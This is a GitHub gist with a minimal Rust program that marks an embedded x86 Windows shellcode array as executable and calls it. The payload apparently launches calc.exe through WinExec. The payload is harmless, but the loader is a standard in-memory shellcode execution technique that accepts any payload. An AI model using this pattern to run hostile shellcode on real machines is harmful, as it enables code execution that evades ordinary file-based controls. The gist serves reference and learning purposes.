Skip to content

Instantly share code, notes, and snippets.

@deadjakk
Created January 12, 2021 03:10
Show Gist options
  • Save deadjakk/110244036d4e495be949d70a33fc9f5a to your computer and use it in GitHub Desktop.
Save deadjakk/110244036d4e495be949d70a33fc9f5a to your computer and use it in GitHub Desktop.
Minimal example of running shellcode using rust (for reference)
use region::{Protection};
fn main(){
// from windows, ran the following:
// rustup target add i686-pc-windows-msvc
// cargo run --target=i686-pc-windows-msvc
// x86 win shellcode
// shellcode from https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html
static RET5: [u8;200] = *b"\x50\x53\x51\x52\x56\x57\x55\x89\xe5\x83\xec\x18\x31\xf6\x56\x6a\x63\x66\x68\x78\x65\x68\x57\x69\x6e\x45\x89\x65\xfc\x31\xf6\x64\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x89\x5d\xf8\x31\xc0\x8b\x43\x3c\x01\xd8\x8b\x40\x78\x01\xd8\x8b\x48\x24\x01\xd9\x89\x4d\xf4\x8b\x78\x20\x01\xdf\x89\x7d\xf0\x8b\x50\x1c\x01\xda\x89\x55\xec\x8b\x58\x14\x31\xc0\x8b\x55\xf8\x8b\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x01\xd7\x66\x83\xc1\x08\xf3\xa6\x74\x0a\x40\x39\xd8\x72\xe5\x83\xc4\x26\xeb\x41\x8b\x4d\xf4\x89\xd3\x8b\x55\xec\x66\x8b\x04\x41\x8b\x04\x82\x01\xd8\x31\xd2\x52\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x68\x6d\x33\x32\x5c\x68\x79\x73\x74\x65\x68\x77\x73\x5c\x53\x68\x69\x6e\x64\x6f\x68\x43\x3a\x5c\x57\x89\xe6\x6a\x0a\x56\xff\xd0\x83\xc4\x46\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3";
let runsc: extern "C" fn() -> i32 = unsafe {
region::protect(RET5.as_ptr(), 4096, Protection::ReadWriteExecute).unwrap();
std::mem::transmute(RET5.as_ptr())
};
runsc();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment